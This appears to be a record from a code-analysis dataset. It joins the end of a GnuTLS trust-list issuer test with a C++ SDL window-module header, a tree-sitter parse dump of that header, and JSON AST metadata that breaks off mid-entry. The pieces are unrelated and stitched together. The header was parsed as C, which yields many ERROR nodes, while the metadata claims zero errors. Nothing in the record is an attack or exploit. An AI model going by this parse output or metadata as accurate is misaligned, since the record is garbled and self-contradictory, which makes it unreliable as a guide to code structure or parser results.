gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tgnutls_x509_trust_list_init(&tl, 0);\n\n\tret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);\n\tif (ret < 0) {\n\t\tfail(\"gnutls_x509_trust_list_add_trust_file\\n\");\n\t\texit(1);\n\t}\n\n\t/* extract the issuer of the certificate */\n\tissuer = NULL;\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}\n\tgnutls_x509_crt_deinit(issuer);\n\n\t/* extract the issuer of the certificate using the non-thread-safe approach */\n\tissuer = NULL;\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer return value\\n\");\n\t\texit(1);\n\t}\n\n\t/* extract (again) the issuer of the certificate - check for any leaks */\n\tret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\n\t/* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */\n\tret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_crt_get_raw_issuer_dn: %s\\n\", gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\t\n\tret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);\n\tgnutls_free(tmp.data);\n\tif (ret < 0) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer\\n\");\n\t\texit(1);\n\t}\n\tif (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\");\n\t\texit(1);\n\t}\n\tgnutls_x509_crt_deinit(issuer);\n\n\tif (debug)\n\t\tprintf(\"\\tCleanup...\");\n\n\tgnutls_x509_trust_list_deinit(tl, 0);\n\tgnutls_x509_crt_deinit(ca);\n\tfor (j = 0; chains[idx].chain[j]; j++)\n\t\tgnutls_x509_crt_deinit(certs[j]);\n\tif (debug)\n\t\tprintf(\"done\\n\\n\\n\");\n\n\tgnutls_global_deinit();\n\n\tif (debug)\n\t\tprintf(\"Exit status...%d\\n\", exit_val);\n\tremove(CONFIG);\n\n\texit(exit_val);\n}\n"}
81,146
c
#ifndef __MODULEWINDOW_H__ #define __MODULEWINDOW_H__ #include "Module.h" class ParsonNode; class MISSCLICK_API M_Window : public Module { public: M_Window(bool isActive = true); virtual ~M_Window(); bool Init(ParsonNode& config) override; bool CleanUp() override; bool LoadConfiguration(ParsonNode& root) override; bool SaveConfiguration(ParsonNode& root) const override; public: SDL_Window* GetWindow() const; // void SetTitle(const char* title); // const char* GetIcon() const; // void SetIcon(const char* file); // void SetDefaultIcon(); // uint GetWidth() const; // uint GetHeight() const; // void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // float GetBrightness() const; // int GetRefreshRate() const; // void SetWidth(uint width); // void SetHeight(uint height); // void SetSize(uint width, uint height); // void SetBrightness(float brightness); // bool IsMaximized() const; // bool IsFullscreen() const; // bool IsResizable() const; // bool IsBorderless() const; // bool IsFullscreenDesktop() const; // void SetMaximized(bool setTo); // void SetFullscreen(bool setTo); // void SetResizable(bool setTo); // void SetBorderless(bool setTo); // void SetFullscreenDesktop(bool setTo); // void RecalculateWindowSize(); private: SDL_Window* window; // The window we'll be rendering to SDL_Surface* screenSurface; // The surface contained by the window std::string iconFile; uint screenWidth; // Width of the window in pixels. uint screenHeight; // Height of the window in pixels. bool isMaximized; // bool isFullscreen; // bool isResizable; // bool isBorderless; // bool isFullscreenDesktop; // }; #endif // __MODULEWINDOW_H__
38.64
53
(translation_unit) "#ifndef __MODULEWINDOW_H__\n#define __MODULEWINDOW_H__\n\n#include "Module.h"\n\nclass ParsonNode;\n\nclass MISSCLICK_API M_Window : public Module\n{\npublic:\n M_Window(bool isActive = true);\n virtual ~M_Window();\n\n bool Init(ParsonNode& config) override;\n bool CleanUp() override;\n\n bool LoadConfiguration(ParsonNode& root) override;\n bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const; // \n void SetTitle(const char* title); // \n\n const char* GetIcon() const; // \n void SetIcon(const char* file); // \n void SetDefaultIcon(); // \n\n uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width); // \n void SetHeight(uint height); // \n void SetSize(uint width, uint height); // \n void SetBrightness(float brightness); // \n\n bool IsMaximized() const; // \n bool IsFullscreen() const; // \n bool IsResizable() const; // \n bool IsBorderless() const; // \n bool IsFullscreenDesktop() const; // \n\n void SetMaximized(bool setTo); // \n void SetFullscreen(bool setTo); // \n void SetResizable(bool setTo); // \n void SetBorderless(bool setTo); // \n void SetFullscreenDesktop(bool setTo); // \n\n void RecalculateWindowSize();\n\nprivate:\n SDL_Window* window; // The window we'll be rendering to\n SDL_Surface* screenSurface; // The surface contained by the window\n\n std::string iconFile;\n\n uint screenWidth; // Width of the window in pixels.\n uint screenHeight; // Height of the window in pixels.\n\n bool isMaximized; // \n bool isFullscreen; // \n bool isResizable; // \n bool isBorderless; // \n bool isFullscreenDesktop; // \n};\n\n#endif // __MODULEWINDOW_H__" (preproc_ifdef) "#ifndef __MODULEWINDOW_H__\n#define __MODULEWINDOW_H__\n\n#include "Module.h"\n\nclass ParsonNode;\n\nclass MISSCLICK_API M_Window : public Module\n{\npublic:\n M_Window(bool isActive = true);\n virtual ~M_Window();\n\n bool Init(ParsonNode& config) override;\n bool CleanUp() override;\n\n bool LoadConfiguration(ParsonNode& root) override;\n bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const; // \n void SetTitle(const char* title); // \n\n const char* GetIcon() const; // \n void SetIcon(const char* file); // \n void SetDefaultIcon(); // \n\n uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width); // \n void SetHeight(uint height); // \n void SetSize(uint width, uint height); // \n void SetBrightness(float brightness); // \n\n bool IsMaximized() const; // \n bool IsFullscreen() const; // \n bool IsResizable() const; // \n bool IsBorderless() const; // \n bool IsFullscreenDesktop() const; // \n\n void SetMaximized(bool setTo); // \n void SetFullscreen(bool setTo); // \n void SetResizable(bool setTo); // \n void SetBorderless(bool setTo); // \n void SetFullscreenDesktop(bool setTo); // \n\n void RecalculateWindowSize();\n\nprivate:\n SDL_Window* window; // The window we'll be rendering to\n SDL_Surface* screenSurface; // The surface contained by the window\n\n std::string iconFile;\n\n uint screenWidth; // Width of the window in pixels.\n uint screenHeight; // Height of the window in pixels.\n\n bool isMaximized; // \n bool isFullscreen; // \n bool isResizable; // \n bool isBorderless; // \n bool isFullscreenDesktop; // \n};\n\n#endif" (#ifndef) "#ifndef" (identifier) "__MODULEWINDOW_H__" (preproc_def) "#define __MODULEWINDOW_H__\n" (#define) "#define" (identifier) "__MODULEWINDOW_H__" (preproc_include) "#include "Module.h"\n" (#include) "#include" (string_literal) ""Module.h"" (") """ (string_content) "Module.h" (") """ (declaration) "class ParsonNode;" (type_identifier) "class" (identifier) "ParsonNode" (;) ";" (declaration) "class MISSCLICK_API" (type_identifier) "class" (identifier) "MISSCLICK_API" (;) "" (labeled_statement) "M_Window : public Module\n{\npublic:\n M_Window(bool isActive = true);\n virtual ~M_Window();\n\n bool Init(ParsonNode& config) override;\n bool CleanUp() override;\n\n bool LoadConfiguration(ParsonNode& root) override;\n bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const; // \n void SetTitle(const char* title); // \n\n const char* GetIcon() const; // \n void SetIcon(const char* file); // \n void SetDefaultIcon(); // \n\n uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width); // \n void SetHeight(uint height); // \n void SetSize(uint width, uint height); // \n void SetBrightness(float brightness); // \n\n bool IsMaximized() const; // \n bool IsFullscreen() const; // \n bool IsResizable() const; // \n bool IsBorderless() const; // \n bool IsFullscreenDesktop() const; // \n\n void SetMaximized(bool setTo); // \n void SetFullscreen(bool setTo); // \n void SetResizable(bool setTo); // \n void SetBorderless(bool setTo); // \n void SetFullscreenDesktop(bool setTo); // \n\n void RecalculateWindowSize();\n\nprivate:\n SDL_Window* window; // The window we'll be rendering to\n SDL_Surface* screenSurface; // The surface contained by the window\n\n std::string iconFile;\n\n uint screenWidth; // Width of the window in pixels.\n uint screenHeight; // Height of the window in pixels.\n\n bool isMaximized; // \n bool isFullscreen; // \n bool isResizable; // \n bool isBorderless; // \n bool isFullscreenDesktop; // \n}" (statement_identifier) "M_Window" (:) ":" (ERROR) "public Module" (type_identifier) "public" (identifier) "Module" (compound_statement) "{\npublic:\n M_Window(bool isActive = true);\n virtual ~M_Window();\n\n bool Init(ParsonNode& config) override;\n bool CleanUp() override;\n\n bool LoadConfiguration(ParsonNode& root) override;\n bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const; // \n void SetTitle(const char* title); // \n\n const char* GetIcon() const; // \n void SetIcon(const char* file); // \n void SetDefaultIcon(); // \n\n uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width); // \n void SetHeight(uint height); // \n void SetSize(uint width, uint height); // \n void SetBrightness(float brightness); // \n\n bool IsMaximized() const; // \n bool IsFullscreen() const; // \n bool IsResizable() const; // \n bool IsBorderless() const; // \n bool IsFullscreenDesktop() const; // \n\n void SetMaximized(bool setTo); // \n void SetFullscreen(bool setTo); // \n void SetResizable(bool setTo); // \n void SetBorderless(bool setTo); // \n void SetFullscreenDesktop(bool setTo); // \n\n void RecalculateWindowSize();\n\nprivate:\n SDL_Window* window; // The window we'll be rendering to\n SDL_Surface* screenSurface; // The surface contained by the window\n\n std::string iconFile;\n\n uint screenWidth; // Width of the window in pixels.\n uint screenHeight; // Height of the window in pixels.\n\n bool isMaximized; // \n bool isFullscreen; // \n bool isResizable; // \n bool isBorderless; // \n bool isFullscreenDesktop; // \n}" ({) "{" (labeled_statement) "public:\n M_Window(bool isActive = true);" (statement_identifier) "public" (:) ":" (declaration) "M_Window(bool isActive = true);" (macro_type_specifier) "M_Window(bool" (identifier) "M_Window" (() "(" (type_descriptor) "bool" (primitive_type) "bool" ()) "" (init_declarator) "isActive = true" (identifier) "isActive" (=) "=" (true) "true" (ERROR) ")" ()) ")" (;) ";" (declaration) "virtual ~M_Window();" (type_identifier) "virtual" (ERROR) "~" (~) "~" (function_declarator) "M_Window()" (identifier) "M_Window" (parameter_list) "()" (() "(" ()) ")" (;) ";" (ERROR) "bool Init(ParsonNode& config) override" (primitive_type) "bool" (function_declarator) "Init(ParsonNode& config) override" (identifier) "Init" (parameter_list) "(ParsonNode& config)" (() "(" (parameter_declaration) "ParsonNode& config" (type_identifier) "ParsonNode" (ERROR) "&" (&) "&" (identifier) "config" ()) ")" (identifier) "override" (expression_statement) ";" (;) ";" (ERROR) "bool CleanUp() override;\n\n bool LoadConfiguration(ParsonNode& root) override;\n bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const; // \n void SetTitle(const char* title); // \n\n const char* GetIcon() const; // \n void SetIcon(const char* file); // \n void SetDefaultIcon(); // \n\n uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width); // \n void SetHeight(uint height); // \n void SetSize(uint width, uint height); // \n void SetBrightness(float brightness); // \n\n bool IsMaximized() const; // \n bool IsFullscreen() const; // \n bool IsResizable() const; // \n bool IsBorderless() const; // \n bool IsFullscreenDesktop() const; // \n\n void SetMaximized(bool setTo); // \n void SetFullscreen(bool setTo); // \n void SetResizable(bool setTo); // \n void SetBorderless(bool setTo); // \n void SetFullscreenDesktop(bool setTo); // \n\n void RecalculateWindowSize();\n\nprivate:\n SDL_Window* window; // The window we'll be rendering to\n SDL_Surface* screenSurface; // The surface contained by the window\n\n std::string iconFile;\n\n uint screenWidth; // Width of the window in pixels.\n uint screenHeight; // Height of the window in pixels.\n\n bool isMaximized; // \n bool isFullscreen; // \n bool isResizable; // \n bool isBorderless; // \n bool isFullscreenDesktop;" (primitive_type) "bool" (function_declarator) "CleanUp()" (identifier) "CleanUp" (parameter_list) "()" (() "(" ()) ")" (declaration) "override;" (type_identifier) "override" (identifier) "" (;) ";" (ERROR) "bool LoadConfiguration(ParsonNode& root) override;" (primitive_type) "bool" (function_declarator) "LoadConfiguration(ParsonNode& root) override" (identifier) "LoadConfiguration" (parameter_list) "(ParsonNode& root)" (() "(" (parameter_declaration) "ParsonNode& root" (type_identifier) "ParsonNode" (ERROR) "&" (&) "&" (identifier) "root" ()) ")" (identifier) "override" (;) ";" (declaration) "bool SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window* GetWindow() const;" (primitive_type) "bool" (ERROR) "SaveConfiguration(ParsonNode& root) const override;\n \npublic:\n SDL_Window" (function_declarator) "SaveConfiguration(ParsonNode& root) const override" (identifier) "SaveConfiguration" (parameter_list) "(ParsonNode& root)" (() "(" (parameter_declaration) "ParsonNode& root" (type_identifier) "ParsonNode" (ERROR) "&" (&) "&" (identifier) "root" ()) ")" (identifier) "const" (identifier) "override" (;) ";" (identifier) "public" (:) ":" (identifier) "SDL_Window" (pointer_declarator) "* GetWindow() const" (*) "*" (function_declarator) "GetWindow() const" (identifier) "GetWindow" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (declaration) "void SetTitle(const char* title);" (primitive_type) "void" (function_declarator) "SetTitle(const char* title)" (identifier) "SetTitle" (parameter_list) "(const char* title)" (() "(" (parameter_declaration) "const char* title" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* title" (*) "*" (identifier) "title" ()) ")" (;) ";" (comment) "// " (declaration) "const char* GetIcon() const;" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* GetIcon() const" (*) "*" (function_declarator) "GetIcon() const" (identifier) "GetIcon" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (declaration) "void SetIcon(const char* file);" (primitive_type) "void" (function_declarator) "SetIcon(const char* file)" (identifier) "SetIcon" (parameter_list) "(const char* file)" (() "(" (parameter_declaration) "const char* file" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* file" (*) "*" (identifier) "file" ()) ")" (;) ";" (comment) "// " (declaration) "void SetDefaultIcon();" (primitive_type) "void" (function_declarator) "SetDefaultIcon()" (identifier) "SetDefaultIcon" (parameter_list) "()" (() "(" ()) ")" (;) ";" (comment) "// " (declaration) "uint GetWidth() const; // \n uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void SetWidth(uint width);" (type_identifier) "uint" (ERROR) "GetWidth() const;" (function_declarator) "GetWidth() const" (identifier) "GetWidth" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (ERROR) "uint GetHeight() const; // \n void GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const; // \n float GetBrightness() const; // \n int GetRefreshRate() const; // \n\n void" (identifier) "uint" (function_declarator) "GetHeight() const" (identifier) "GetHeight" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (primitive_type) "void" (function_declarator) "GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const" (identifier) "GetMinMaxSize" (parameter_list) "(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight)" (() "(" (parameter_declaration) "uint& minWidth" (type_identifier) "uint" (ERROR) "&" (&) "&" (identifier) "minWidth" (,) "," (parameter_declaration) "uint& minHeight" (type_identifier) "uint" (ERROR) "&" (&) "&" (identifier) "minHeight" (,) "," (parameter_declaration) "uint& maxWidth" (type_identifier) "uint" (ERROR) "&" (&) "&" (identifier) "maxWidth" (,) "," (parameter_declaration) "uint& maxHeight" (type_identifier) "uint" (ERROR) "&" (&) "&" (identifier) "maxHeight" ()) ")" (identifier) "const" (;) ";" (comment) "// " (primitive_type) "float" (function_declarator) "GetBrightness() const" (identifier) "GetBrightness" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (primitive_type) "int" (function_declarator) "GetRefreshRate() const" (identifier) "GetRefreshRate" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (primitive_type) "void" (function_declarator) "SetWidth(uint width)" (identifier) "SetWidth" (parameter_list) "(uint width)" (() "(" (parameter_declaration) "uint width" (type_identifier) "uint" (identifier) "width" ()) ")" (;) ";" (comment) "// " (declaration) "void SetHeight(uint height);" (primitive_type) "void" (function_declarator) "SetHeight(uint height)" (identifier) "SetHeight" (parameter_list) "(uint height)" (() "(" (parameter_declaration) "uint height" (type_identifier) "uint" (identifier) "height" ()) ")" (;) ";" (comment) "// " (declaration) "void SetSize(uint width, uint height);" (primitive_type) "void" (function_declarator) "SetSize(uint width, uint height)" (identifier) "SetSize" (parameter_list) "(uint width, uint height)" (() "(" (parameter_declaration) "uint width" (type_identifier) "uint" (identifier) "width" (,) "," (parameter_declaration) "uint height" (type_identifier) "uint" (identifier) "height" ()) ")" (;) ";" (comment) "// " (declaration) "void SetBrightness(float brightness);" (primitive_type) "void" (function_declarator) "SetBrightness(float brightness)" (identifier) "SetBrightness" (parameter_list) "(float brightness)" (() "(" (parameter_declaration) "float brightness" (primitive_type) "float" (identifier) "brightness" ()) ")" (;) ";" (comment) "// " (ERROR) "bool IsMaximized() const;" (primitive_type) "bool" (function_declarator) "IsMaximized() const" (identifier) "IsMaximized" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (ERROR) "bool IsFullscreen() const;" (primitive_type) "bool" (function_declarator) "IsFullscreen() const" (identifier) "IsFullscreen" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (ERROR) "bool IsResizable() const;" (primitive_type) "bool" (function_declarator) "IsResizable() const" (identifier) "IsResizable" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (ERROR) "bool IsBorderless() const;" (primitive_type) "bool" (function_declarator) "IsBorderless() const" (identifier) "IsBorderless" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (ERROR) "bool IsFullscreenDesktop() const;" (primitive_type) "bool" (function_declarator) "IsFullscreenDesktop() const" (identifier) "IsFullscreenDesktop" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (;) ";" (comment) "// " (declaration) "void SetMaximized(bool setTo);" (primitive_type) "void" (function_declarator) "SetMaximized(bool setTo)" (identifier) "SetMaximized" (parameter_list) "(bool setTo)" (() "(" (parameter_declaration) "bool setTo" (primitive_type) "bool" (identifier) "setTo" ()) ")" (;) ";" (comment) "// " (declaration) "void SetFullscreen(bool setTo);" (primitive_type) "void" (function_declarator) "SetFullscreen(bool setTo)" (identifier) "SetFullscreen" (parameter_list) "(bool setTo)" (() "(" (parameter_declaration) "bool setTo" (primitive_type) "bool" (identifier) "setTo" ()) ")" (;) ";" (comment) "// " (declaration) "void SetResizable(bool setTo);" (primitive_type) "void" (function_declarator) "SetResizable(bool setTo)" (identifier) "SetResizable" (parameter_list) "(bool setTo)" (() "(" (parameter_declaration) "bool setTo" (primitive_type) "bool" (identifier) "setTo" ()) ")" (;) ";" (comment) "// " (declaration) "void SetBorderless(bool setTo);" (primitive_type) "void" (function_declarator) "SetBorderless(bool setTo)" (identifier) "SetBorderless" (parameter_list) "(bool setTo)" (() "(" (parameter_declaration) "bool setTo" (primitive_type) "bool" (identifier) "setTo" ()) ")" (;) ";" (comment) "// " (declaration) "void SetFullscreenDesktop(bool setTo);" (primitive_type) "void" (function_declarator) "SetFullscreenDesktop(bool setTo)" (identifier) "SetFullscreenDesktop" (parameter_list) "(bool setTo)" (() "(" (parameter_declaration) "bool setTo" (primitive_type) "bool" (identifier) "setTo" ()) ")" (;) ";" (comment) "// " (declaration) "void RecalculateWindowSize();" (primitive_type) "void" (function_declarator) "RecalculateWindowSize()" (identifier) "RecalculateWindowSize" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "private:\n SDL_Window* window;" (type_identifier) "private" (ERROR) ":\n SDL_Window" (:) ":" (identifier) "SDL_Window" (pointer_declarator) "* window" (*) "*" (identifier) "window" (;) ";" (comment) "// The window we'll be rendering to" (declaration) "SDL_Surface* screenSurface;" (type_identifier) "SDL_Surface" (pointer_declarator) "* screenSurface" (*) "*" (identifier) "screenSurface" (;) ";" (comment) "// The surface contained by the window" (declaration) "std::string iconFile;" (type_identifier) "std" (ERROR) "::string" (:) ":" (:) ":" (identifier) "string" (identifier) "iconFile" (;) ";" (declaration) "uint screenWidth;" (type_identifier) "uint" (identifier) "screenWidth" (;) ";" (comment) "// Width of the window in pixels." (declaration) "uint screenHeight;" (type_identifier) "uint" (identifier) "screenHeight" (;) ";" (comment) "// Height of the window in pixels." (declaration) "bool isMaximized;" (primitive_type) "bool" (identifier) "isMaximized" (;) ";" (comment) "// " (declaration) "bool isFullscreen;" (primitive_type) "bool" (identifier) "isFullscreen" (;) ";" (comment) "// " (declaration) "bool isResizable;" (primitive_type) "bool" (identifier) "isResizable" (;) ";" (comment) "// " (declaration) "bool isBorderless;" (primitive_type) "bool" (identifier) "isBorderless" (;) ";" (comment) "// " (declaration) "bool isFullscreenDesktop;" (primitive_type) "bool" (identifier) "isFullscreenDesktop" (;) ";" (comment) "// " (}) "}" (expression_statement) ";" (;) ";" (#endif) "#endif" (comment) "// __MODULEWINDOW_H__"
485
23
{"language": "c", "success": true, "metadata": {"lines": 53, "avg_line_length": 38.64, "nodes": 285, "errors": 0, "source_hash": "f9a85b3b4e42e9ab79c2a2ce0efbd623a7cb719ad8d2da78de40870816456318", "categorized_nodes": 179}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef __MODULEWINDOW_H__\n#define __MODULEWINDOW_H__\n\n#include \"Module.h\"\n\nclass ParsonNode;\n\nclass MISSCLICK_API M_Window : public Module\n{\npublic:\n\tM_Window(bool isActive = true);\n\tvirtual ~M_Window();\n\n\tbool Init(ParsonNode& config) override;\n\tbool CleanUp() override;\n\n\tbool LoadConfiguration(ParsonNode& root) override;\n\tbool SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window* GetWindow() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetTitle(const char* title);\t\t\t\t\t\t\t\t\t// \n\n\tconst char* GetIcon() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetIcon(const char* file);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetDefaultIcon();\t\t\t\t\t\t\t\t\t\t\t\t// \n\n\tuint\t\tGetWidth() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tuint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetWidth(uint width);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetHeight(uint height);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetSize(uint width, uint height);\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBrightness(float brightness);\t\t\t\t\t\t\t\t// \n\n\tbool\t\tIsMaximized() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreen() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsResizable() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsBorderless() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreenDesktop() const;\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetMaximized(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreen(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetResizable(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBorderless(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreenDesktop(bool setTo);\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tRecalculateWindowSize();\n\nprivate:\n\tSDL_Window*\t\twindow;\t\t\t\t\t\t\t\t\t\t\t\t\t\t// The window we'll be rendering to\n\tSDL_Surface*\tscreenSurface;\t\t\t\t\t\t\t\t\t\t\t\t// The surface contained by the window\n\n\tstd::string\t\ticonFile;\n\n\tuint\t\t\tscreenWidth;\t\t\t\t\t\t\t\t\t\t\t\t// Width of the window in pixels.\n\tuint\t\t\tscreenHeight;\t\t\t\t\t\t\t\t\t\t\t\t// Height of the window in pixels.\n\n\tbool\t\t\tisMaximized;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreen;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisResizable;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisBorderless;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreenDesktop;\t\t\t\t\t\t\t\t\t\t// \n};\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 11, 13, 284], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 68, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "__MODULEWINDOW_H__", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 26}}, {"id": 3, "type": "preproc_def", "text": "#define __MODULEWINDOW_H__\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "__MODULEWINDOW_H__", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 26}}, {"id": 6, "type": "preproc_include", "text": "#include \"Module.h\"\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"Module.h\"", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 19}}, {"id": 9, "type": "declaration", "text": "class ParsonNode;", "parent": 0, "children": [10], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 17}}, {"id": 10, "type": "identifier", "text": "ParsonNode", "parent": 9, "children": [], "start_point": {"row": 5, "column": 6}, "end_point": {"row": 5, "column": 16}}, {"id": 11, "type": "declaration", "text": "class MISSCLICK_API", "parent": 0, "children": [12], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 19}}, {"id": 12, "type": "identifier", "text": "MISSCLICK_API", "parent": 11, "children": [], "start_point": {"row": 7, "column": 6}, "end_point": {"row": 7, "column": 19}}, {"id": 13, "type": "labeled_statement", "text": "M_Window : public Module\n{\npublic:\n\tM_Window(bool isActive = true);\n\tvirtual ~M_Window();\n\n\tbool Init(ParsonNode& config) override;\n\tbool CleanUp() override;\n\n\tbool LoadConfiguration(ParsonNode& root) override;\n\tbool SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window* GetWindow() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetTitle(const char* title);\t\t\t\t\t\t\t\t\t// \n\n\tconst char* GetIcon() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetIcon(const char* file);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetDefaultIcon();\t\t\t\t\t\t\t\t\t\t\t\t// \n\n\tuint\t\tGetWidth() const;\t\t\t\t\t\t\t\t\t\t\t\t// 